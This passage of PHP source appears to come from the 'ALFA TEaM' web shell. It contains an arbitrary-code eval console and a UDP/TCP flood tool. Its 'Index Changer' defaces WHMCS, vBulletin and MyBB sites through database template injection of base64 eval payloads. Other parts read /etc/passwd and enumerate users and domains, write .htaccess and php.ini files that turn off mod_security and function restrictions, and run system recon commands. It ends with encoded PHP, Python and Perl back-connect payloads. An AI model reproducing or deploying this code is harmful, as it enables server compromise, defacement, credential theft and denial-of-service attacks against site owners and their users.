.'<td class="listing"><b>'.$param.'</td>'
.'<td class="listing">'.$values['global_value'].' </td>'
.'<td class="listing">'.$values['local_value'].' </td>'
.'<td class="listing">'.$values['access'].' </td></tr>';
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'info')) {
echo '<div class=header><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'exten')) {
echo '<div class=header>';
ob_start();
$EXT=get_loaded_extensions();
echo '<table border=0><tr><td class="listing">'.implode('</td></tr>'."\n".'<tr><td class="listing">', $EXT).'</td></tr></table>'.count($EXT).' extensions loaded';
echo '</div><br>';
}
$lang_html = "";
foreach(array("php"=>"php ~> [ Windows / Linux ]","perl"=>"perl ~> [ Linux ]","python"=>"python ~> [ Linux ]","bash"=>"bash ~> [ Linux ]") as $key=>$val){$lang_html .= '<option value="'.$key.'" '.($_POST["alfa3"]==$key?"selected":"").'>'.$val.'</option>';}
echo '<div class=header><Center><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form class="php-evals" name="pf" method="post" onsubmit="var ace_value=geEvalAceValue(this);g(\'phpeval\',null,ace_value,null,this.language.value); return false;"><div class="txtfont">Select Language: </div> <select name="language" style="width:300px;">'.$lang_html.'</select>'._alfa_load_ace_options("eval").'<br><br><div class="bigarea" style="position:relative;"><div class="php-evals-ace">'.(!empty($_POST['alfa1'])?htmlspecialchars($_POST['alfa1']):"<?php\n\n\techo('hello alfa !');\n\n?>").'</div></div><center><input type="submit" value="" style="margin-top:5px"></center>';
echo '</form><pre id="PhpOutput" style="'.(empty($_POST['alfa1'])?'display:none;':'').'margin-top:5px;" class="ml1">';
if(!empty($_POST['alfa1'])){
if($_POST['alfa3']=="php"){
ob_start();
eval('?>'.$_POST['alfa1']);
$result = htmlspecialchars(ob_get_clean());
}elseif(_alfa_can_runCommand()&&$GLOBALS["sys"]=="unix"){
$lang = $_POST['alfa3'];
$filename = "temp".rand(11111,99999);
$temp = $tempdir."/".$filename ;
__write_file($filename, $_POST['alfa1']);
$result = alfaEx("mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}");
@unlink($filename);
@unlink($temp);
}
echo '<textarea class="bigarea">'.$result.'</textarea>';
}
echo '</pre></div>';
alfafooter();
}
function alfahash(){
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64_encode ( $string )' => '__ZW5jb2Rlcg($s)',
'Base64_decode ( $string )' => '__ZGVjb2Rlcg($s)',
'strrev ( $string )' => 'strrev($s)',
'bin2hex ( $string )' => 'bin2hex($s)',
'hex2bin ( $string )' => 'hex2bin($s)',
'md5 ( $string )' => 'md5($s)',
'sha1 ( $string )' => 'sha1($s)',
'hash ( "sha251", $string ) --> sha251' => 'hash("sha256",$s)',
'hash ( "sha384", $string ) --> sha384' => 'hash("sha384",$s)',
'hash ( "sha512", $string ) --> sha512' => 'hash("sha512",$s)',
'crypt ( $string )' => 'crypt($s)',
'crc32 ( $string )' => 'crc32($s)',
'str_rot13 ( $string )' => 'str_rot13($s)',
'urlencode ( $string )' => 'urlencode($s)',
'urldecode ( $string )' => 'urldecode($s)',
'full_urlencode ( $string )' => 'full_urlencode($s)',
'htmlspecialchars ( $string )' => 'htmlspecialchars($s)',
'base64_encode (gzdeflate( $string , 9)) --> Encode' => '__ZW5jb2Rlcg(gzdeflate($s, 9))',
'gzinflate (base64_decode( $string )) --> Decode' => '@gzinflate(__ZGVjb2Rlcg($s))',
'str_rot13 (base64_encode( $string )) --> Encode' => 'str_rot13(__ZW5jb2Rlcg($s))',
'base64_decode (str_rot13( $string )) --> Decode' => '__ZGVjb2Rlcg(str_rot13($s))',
'str_rot13 (base64_encode(gzdeflate( $string , 9))) --> Encode' => 'str_rot13(__ZW5jb2Rlcg(gzdeflate($s,9)))',
'gzinflate (base64_decode(str_rot13( $string ))) --> Decode' => '@gzinflate(__ZGVjb2Rlcg(str_rot13($s)))',
);
alfahead();
echo '<div class=header>';
echo "<form onSubmit='g(\"hash\",null,this.selectTool.value,this.input.value);return false;'><div class='txtfont'>Method:</div> <select name='selectTool' style='width:400px;'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."' ".($_POST['alfa1']==$v?'selected':'').">".$k."</option>";
echo "</select> <input type='submit' value=' '/><br><textarea name='input' style='margin-top:5px' class='bigarea'>".(empty($_POST['alfa1'])?'':htmlspecialchars(@$_POST['alfa2']))."</textarea></form>";
if(!empty($_POST['alfa1'])){
$string = addslashes($_POST['alfa2']);
$string = str_replace('\"','"',$string);
$alg = $_POST['alfa1'];
$code = str_replace('$s',"'".$string."'",$alg);
ob_start();
eval('echo '.$code.';');
$res = ob_get_contents();
ob_end_clean();
if(in_array($alg, $stringTools))echo '<textarea class="bigarea">'.htmlspecialchars($res).'</textarea>';
}
echo "</div>";
alfaFooter();
}
function alfados(){
alfahead();
echo '<div class=header>';
echo '<center><p><div class="txtfont_header">| DOS |</div></p><form onSubmit="g(\'dos\',null,this.host.value,this.time.value,this.port.value,this.m.value); return false;"><div class="txtfont">Method : <select name="m" style="width:80px;"><option value="udp">UDP</option><option value="tcp">TCP</option></select> Host : <input name="host" type="text" value="localhost" size="25" /> Time : <input name="time" type="text" size="15" /> Port : <input name="port" type="text" size="10" /> <input type="submit" value=" " /></div></form></center><br>';
if(!empty($_POST['alfa1']) && !empty($_POST['alfa2']) && !empty($_POST['alfa3'])){
echo __pre();
$packets=0;
ignore_user_abort(true);
$exec_time=(int)$_POST['alfa2'];
$time=time();
$max_time=$exec_time+$time;
$host=$_POST['alfa1'];
$port=(int)$_POST['alfa3'];
$method=$_POST['alfa4'];
$out = str_repeat('X',65000);
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = @fsockopen($method.'://'.$host, $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "<center>$packets (" . @round(($packets*65)/1024, 2) . " MB) packets averaging ". @round($packets/$exec_time, 2) . " packets per second</center>";
echo "</pre>";
}
echo '</div>';
alfafooter();
}
function __pre(){return('<pre id="strOutput" style="margin-top:5px" class="ml1">');}
function alfaIndexChanger(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Index Changer |</div></p><h3><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,null,null,\'whmcs\')">| Whmcs | </a><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,\'vb\',null)">| vBulletin | </a><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,null,\'mybb\')">| MyBB | </a></h3></center>';
if(isset($_POST['alfa3'])&&($_POST['alfa3'] == 'whmcs')){
echo __pre();
echo "<center><center><div class='txtfont_header'>| Whmcs |</div>
<p><center>".getConfigHtml('whmcs')."<form onSubmit=\"g('IndexChanger',null,null,null,'whmcs',this.fname.value,this.path.value,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\">
";
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'URL', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'File Name', 'inputName' => 'fname', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<br><div class='txtfont'>| Your Index |</div><br>
<textarea name=index rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
<input type='submit' value=' '>
</form></center></center>";
if(isset($_POST['alfa6'])){
$s0levisible="Powered By Solevisible";
$dbu = $_POST['alfa6'];
$path = $_POST['alfa5'];
$fname = $_POST['alfa4'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$index = $_POST['alfa10'];
$index = str_replace("\'","'",$index);
$deface = '$x = base64_decode("'.__ZW5jb2Rlcg($index).'"); $solevisible = fopen("'.$fname.'","w"); fwrite($solevisible,$x);';
$saveData = __ZW5jb2Rlcg($deface);
$Def = '{php}eval(base64_decode("'.$saveData.'"));{/php}';
if(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){
$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$soleSave=@mysqli_query($conn,"select message from tblemailtemplates where name='Password Reset Validation'");
$soleGet = mysqli_fetch_assoc($soleSave);
$tempSave1 = $soleGet['message'];
$tempSave = str_replace("'","\'",$tempSave1);
$inject = "UPDATE tblemailtemplates SET message='$Def' WHERE name='Password Reset Validation'";
$result=@mysqli_query($conn,$inject) or die (mysqli_error($conn));
$create = "insert into tblclients (email) values('solevisible@fbi.gov')";
$result2 =@mysqli_query($conn,$create) or die (mysqli_error($conn));
if(function_exists('curl_version')){
$AlfaSole = new AlfaCURL(true);
$saveurl = $AlfaSole->Send($path."/pwreset.php");
$getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token);
$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");
$backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));
__alert('File Created...');
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='".$path."/".$fname."'>Click Here !</a></font></b></center><br><br>";
}else{
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target </font><font color=red>\" ".$path."/pwreset.php \"</font><br/><font color=\"#FFFFFF\"> and reset password with email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color=\"#FFFFFF\">and go to</font> <font color=red>\" ".$path."/".$fname." \"</font></b></center><br><br>";
}}}}
if(isset($_POST['alfa1']) && ($_POST['alfa1'] == 'vb')){
echo __pre();
echo "<center><center><div class='txtfont_header'>| vBulletin |</div>
<p><center>".getConfigHtml('vb')."<form onSubmit=\"g('IndexChanger',null,'vb',this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value,this.prefix.value,'>>'); return false;\">
";
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Prefix', 'inputName' => 'prefix', 'id' => 'db_prefix', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<br><div class='txtfont'>| Your Index |</div><br>
<textarea name='index' rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
<input type='submit' value=' '></form></center></center>";
if($_POST['alfa8']=='>>'){
$s0levisible="Powered By Solevisible";
$dbu = $_POST['alfa2'];
$dbn = $_POST['alfa3'];
$dbp = $_POST['alfa4'];
$dbh = $_POST['alfa5'];
$index = $_POST['alfa6'];
$prefix = $_POST['alfa7'];
$index=str_replace("\'","'",$index);
$set_index = "{\${eval(base64_decode(\'";
$set_index .= __ZW5jb2Rlcg("echo \"$index\";");
$set_index .= "\'))}}{\${exit()}}";
if(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){
$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$loli1 = "UPDATE ".$prefix."template SET template='".$set_index."".$s0levisible."' WHERE title='spacer_open'";
$loli2 = "UPDATE ".$prefix."template SET template='".$set_index."".$s0levisible."' WHERE title='FORUMHOME'";
$loli3 = "UPDATE ".$prefix."style SET css='".$set_index."".$s0levisible."', stylevars='', csscolors='', editorstyles=''";
@mysqli_query($conn,$loli1) or die (mysqli_error($conn));
@mysqli_query($conn,$loli2) or die (mysqli_error($conn));
@mysqli_query($conn,$loli3) or die (mysqli_error($conn));
__alert('VB index changed...!');
}
}
}
if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'mybb')) {
echo __pre();
echo "<center><center><div class='txtfont_header'>| Mybb |</div>
<p><center>".getConfigHtml('mybb')."<form onSubmit=\"g('IndexChanger',null,'null','mybb',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\" method=POST action=''>
";
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'mybbdbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'mybbdbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'mybbdbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'mybbdbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<br><div class='txtfont'>| Your Index |</div><br>
<textarea name=mybbindex rows='19' cols='103'>
<title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><p><input type='submit' value='' ></p></form></center></center>";
if(isset($_POST['alfa6'])){
$mybb_dbh = $_POST['alfa6'];
$mybb_dbu = $_POST['alfa7'];
$mybb_dbn = $_POST['alfa8'];
$mybb_dbp = $_POST['alfa9'];
$mybb_index = $_POST['alfa10'];
if(!empty($mybb_dbh)&&!empty($mybb_dbu)&&!empty($mybb_dbn)&&!empty($mybb_index)){
$conn=@mysqli_connect($mybb_dbh,$mybb_dbu,$mybb_dbp,$mybb_dbn) or die(mysqli_error($conn));
$prefix="mybb_";
$loli7 = "UPDATE ".$prefix."templates SET template='".$mybb_index."' WHERE title='index'";
$result =@mysqli_query($conn,$loli7) or die (mysqli_error($conn));
__alert('MyBB index changed...!');
}
}
}
echo "</div>";
alfafooter();
}
function alfaproc()
{
alfahead();
echo "<Div class=header><br><center>";
if(empty($_POST['ajax'])&&!empty($_POST['alfa1']))
$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
if($GLOBALS['sys']=="win"){
$process=array(
"Task List" =>"tasklist /V",
"System Info" =>"systeminfo",
"Active Connections" => "netstat -an",
"Running Services" => "net start",
"User Accounts" => "net user",
"Show Computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);}else{
$process=array(
"Process status" => "ps aux",
"Syslog" =>"cat /etc/syslog.conf",
"Resolv" => "cat /etc/resolv.conf",
"Hosts" =>"cat /etc/hosts",
"Cpuinfo"=>"cat /proc/cpuinfo",
"Version"=>"cat /proc/version",
"Sbin"=>"ls -al /usr/sbin",
"Interrupts"=>"cat /proc/interrupts",
"lsattr"=>"lsattr -va",
"Uptime"=>"uptime",
"Fstab" =>"cat /etc/fstab"
);}
foreach($process as $n => $link){
echo '<a href="javascript:void(0);" onclick="g(\'proc\',null,\''.$link.'\')"> | '.$n.' | </a>';
}
echo "</center><br>";
if(!empty($_POST['alfa1'])){
echo "<pre class='ml1' style='margin-top:5px' >";
if($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd '".addslashes($_POST["c"])."';";}
echo alfaEx($cmd.$_POST['alfa1'], true);
echo '</pre>';
}
echo "</div>";
alfafooter();
}
function alfasafe(){
alfahead();
echo "<div class=header><center><br><div class='txtfont_header'>| Auto ByPasser |</div>";
echo '<h3><a href=javascript:void(0) onclick="g(\'safe\',null,\'php.ini\',null)">| PHP.INI | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,\'ini\')">| .htaccess(apache) | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,\'pl\')">| .htaccess(LiteSpeed) |</a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,\'passwd\')">| Read-Passwd | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,\'users\')">| Read-Users | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,\'valiases\')">| Get-User | </a><a href=javascript:void(0) onclick="g(\'safe\',null,null,null,null,null,null,null,null,\'domains\')">| Get-Domains | </a></center></h3>';
if(!empty($_POST['alfa8']) && isset($_POST['alfa8']) == 'domains'){
if(!_alfa_file_exists("/etc/virtual/domainowners")){
echo __pre();
$solevisible9 = _alfa_file('/etc/named.conf');
if(is_array($solevisible9)){
foreach($solevisible9 as $solevisible13){
if(@eregi('zone',$solevisible13)){
preg_match_all('#zone "(.*)"#',$solevisible13,$solevisible14);
if(strlen(trim($solevisible14[1][0])) > 2){
echo $solevisible14[1][0].'<br>';
}}}
}
}else{
echo __pre();
$users = _alfa_file("/etc/virtual/domainowners");
if(is_array($users)){
foreach($users as $boz){
$dom = explode(":",$boz);
echo $dom[0]."\n";}}}}
if(!empty($_POST['alfa6']) && isset($_POST['alfa6']) == 'valiases'){
echo '
<form onsubmit="g(\'safe\',null,null,null,null,null,null,\'valiases\',this.site.value,null,\'>>\'); return false;" method="post" /><center><div class="txtfont">Url: </font><input type="text" placeholder="site.com" name="site" /> <input type="submit" value=" " name="go" /></form></center>';
if(isset($_POST['alfa9']) && $_POST['alfa9'] == '>>'){
if(!_alfa_file_exists("/etc/virtual/domainowners")){
$site = trim($_POST['alfa7']);
$rep = str_replace(array("https://","http://","www."),"",$site);
$user = "";
if(function_exists("posix_getpwuid") && function_exists("fileowner")){
if($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))){
$user = $user['name'];
}
}else{
if(_alfa_can_runCommand(true,true)){
$user = alfaEx("stat -c '%U' /etc/valiases/".$rep);
}
}
if(!empty($user)&&$user!='root'){
echo __pre()."<center><table border='1'><tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">{$user}</font></b></td></tr><tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";
}else {echo __pre().'<center><b>No such file or directory Or Disable Functions is not NONE...</b></center>';}
}else{
$site = trim($_POST['alfa7']);
$rep = str_replace(array("https://","http://","www."),"",$site);
$users = _alfa_file("/etc/virtual/domainowners");
foreach($users as $boz){
$ex = explode(":",$boz);
if($ex[0] == $rep){
echo __pre()."<center><table border='1'>
<tr><td><b><font color=\"#FFFFFF\">User: </b></font></td><td><b><font color=\"#FF0000\">".trim($ex[1])."</font></b></td></tr>
<tr><td><b><font color=\"#FFFFFF\">site: </b></font></td><td><b><font color=\"#FF0000\">{$rep}</font></b></td></tr></table></center>";break;}}}}}
if(!empty($_POST['alfa5']) && isset($_POST['alfa5'])){
if(!_alfa_file_exists("/etc/virtual/domainowners")){
echo __pre();
$i = 0;
while ($i < 60000) {
$line = @posix_getpwuid($i);
if (!empty($line)) {
while (list ($key, $vl) = each($line)){
echo $vl."\n";
break;}}$i++;}
}else{echo __pre();
$users = _alfa_file("/etc/virtual/domainowners");
foreach($users as $boz){
$user = explode(":",$boz);
echo trim($user[1]).'<br>';}}}
if(!empty($_POST['alfa4']) && isset($_POST['alfa4'])){
echo __pre();
if(_alfa_can_runCommand(true,true)){echo __read_file("/etc/passwd");}elseif(function_exists("posix_getpwuid")){
for($uid=0;$uid<60000;$uid++){
$ara = @posix_getpwuid($uid);
if(!empty($ara)){
while(list ($key, $val) = each($ara)){
echo "$val:";
}echo "\n";}}
}else{__alert('failed...');}}
if(!empty($_POST['alfa2']) && isset($_POST['alfa2'])){
@__write_file($GLOBALS['cwd'].".htaccess","#Generated By Sole Sad and Invisible\n<IfModule mod_security.c>\nSec------Engine Off\nSec------ScanPOST Off\n</IfModule>");
echo '<center><b><big>htaccess for Apache created...!</center></b></big>';
}
if(!empty($_POST['alfa1'])&& isset($_POST['alfa1'])){
@__write_file($GLOBALS['cwd']."php.ini","safe_mode=OFF\ndisable_functions=ByPassed By Sole Sad & Invisible(ALFA TEaM)");
echo '<center><b><big> php.ini created...!</center></b></big>';
}
if(!empty($_POST['alfa3']) && isset($_POST['alfa3'])){
@__write_file($GLOBALS['cwd'].".htaccess","#Generated By Sole Sad and Invisible\n<Files *.php>\nForceType application/x-httpd-php4\n</Files>\n<IfModule mod_security.c>\nSecFilterEngine Off\nSecFilterScanPOST Off\n</IfModule>");
echo '<center><b><big>htaccess for Litespeed created...!</center></b></big>';
}
echo "<br></div>";
alfafooter();
}
function __get_resource($content){
return @gzinflate(__ZGVjb2Rlcg($content));
}
function __write_file($file, $content){
if($fh = @fopen($file, "wb")){
if(fwrite($fh, $content)!==false) return true;
}
return false;
}
function bcinit($evalType, $evalCode, $evalOptions, $evalArguments){
$res = "<font color='green'>[ Success...! ]</font>";
$err = "<font color='red'>[ Failed...! ]</font>";
if($evalOptions!="") $evalOptions = $evalOptions." ";
if($evalArguments!="") $evalArguments = " ".$evalArguments;
if($evalType=="c"){
$tmpdir = ALFA_TEMPDIR;
chdir($tmpdir);
if(is_writable($tmpdir)){
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.".c";
$path = $filename;
if(__write_file($path, $evalCode)){
$ext = ($GLOBALS['sys']=='win')? ".exe":".out";
$pathres = $filename.$ext;
$evalOptions = "-o ".$pathres." ".$evalOptions;
$cmd = "gcc ".$evalOptions.$path;
alfaEx($cmd);
if(is_file($pathres)){
if(chmod($pathres, 0755)){
$cmd = $pathres.$evalArguments;
alfaEx($cmd);
}else{$res = $err;}
unlink($pathres);
}else{$res = $err;}
unlink($path);
}else{$res = $err;}
}
return $res;
}elseif($evalType=="java"){
$tmpdir = ALFA_TEMPDIR;
chdir($tmpdir);
if(is_writable($tmpdir)){
if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
$classname = trim($r[1]);
$filename = $classname;
}else{
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$evalCode = "class ".$filename." { ".$evalCode . " } ";
}
$path = $filename.".java";
if(__write_file($path, $evalCode)){
$cmd = "javac ".$evalOptions.$path;
alfaEx($cmd);
$pathres = $filename.".class";
if(is_file($pathres)){
if(chmod($pathres, 0755)){
$cmd = "java ".$filename.$evalArguments;
alfaEx($cmd);
}else{$res = $err;}
unlink($pathres);
}else{$res = $err;}
unlink($path);
}else{$res = $err;}
}
return $res;
}
return false;
}
function alfaconnect(){
alfahead();
$php="7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt/ych0/+EkP2ORV8he2nN+gU=";
$python="pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P/B4VjyrJebeTropcKCTAk+WiEDkDKb1cevJRf3P2B5Sn0hV0O4WPcbeT2N8IYiQTyDLC3KNuxzFx/jaejvMCOGGe9fFnotTZVZSX6pnTxTgwahBilzrlL7WuvkmAKgVHRk2rlFRAGBG336h0upZqVSjiUuAsj4D0ShV//NLTeSoIIVNpzmsMaYxySXm4gj0fc4WNzol9RuM0A54Tc7ujPXRjFKwIhrVt3CyYXPprBWJ1PJ4O/N778a+zk95xbdWqY9tymaCPKfr6AfelEiR2+xidtIXhVjIXQSbBFvCQ6NuR6aAVHSUeq4MjdGkC2D0ZHAw/uzQCCxFbiNgW68CaQaFq/yKUstI2uR2DWWMjwj05qDXOwhdAJYSCJQSz6BaRm9+38q7vYk94cRYupXG4+HZ1PQlOR9PAreN0qkWTo+5lEaqEpjJKBVnQpcjLggxcd+NkmsmSF9bGqEcJPCL/mmDj18Ki8xl+WVYKt11JqVDII4tUnw3WOruRKkebB9XkOg+11HCkqeBoSz58y3FfF78ExR4Mz/CJ3omlr5lBQ7G810tV9XXp+v7Q7oe/vBncdTuQtSyf2hYn0YehddGVwDpVuhtm6VKuSKFP0q+2kVZ/pJZG5/OLq2BWryqdXp9+n09nk2B0aWI0TGUsebEJmF7/mBuvdsx8EvycBqOzs4lnLn1ZvaSawREh+IDaD/YKOwBJs1TvAieHRjLM1Csfur7uAjPEsyvT4qB5R6jMAAqLbTu8navXUIDgJzTK4hDNIFyhqZkvetIT2M2JLSFeC8ebp2F3ls3D8KwZdmAGJtLEzTkHpghJ6mbsxnn4Bpzy/3C+Fv5GnNL9Cw==";
$perl="lZLRjpNAFIav26TvMOJsC8kYWr1bpJFQ3DRrS8OwGmOVsPSsTKQDgVm3m+722Z0BVifGGL0755/Dd+Abnj+zb5vavmbcBv4dVVAXo+FtA2gZnp/TMvsGwhkNcdm4+EuoqiZ3DThUZS1QHEQr9yCg3jsbOnMnW7z5sNjOJ05/LkOnJTc5esEM+TS7MRXqtLfvZMysY4s788MV3QT+GbIvDedRLhHuVxBVXYry+p6nezAnIqsmliQ07SuZlIw3b5PlOojJmIb+ZULjKPBWBAvr4WHHwLS6bW+86OK9686s42g4wJWLVf9p+lmeDhoQilZWCkfDd4kCSSANkyi4ooG3WERkpkAD+RE7OaTG092uThg3cUWWazWSeOuPlrZ1ULBGAJfjr/Q0zTKQm3xCrW65JPrEOCGvuElRDOke0RyKAp223CDTdqisgCMaL5ZrYrwe+4bzFIRXMTHmehJEUZ/I5+AAGZJqtfVZUTZg+pbTFfRnoehaI8laJ6lWB2QCTWUlLweK5pfYl38Si/O+nXUtcxkHkaSilNpyXQpO3d+cYqafZyXnkKn7wamet/boP9gze3vzMTUs5ynp9elR709FfxP4f946W3BU+kz5Jz3+AA==";
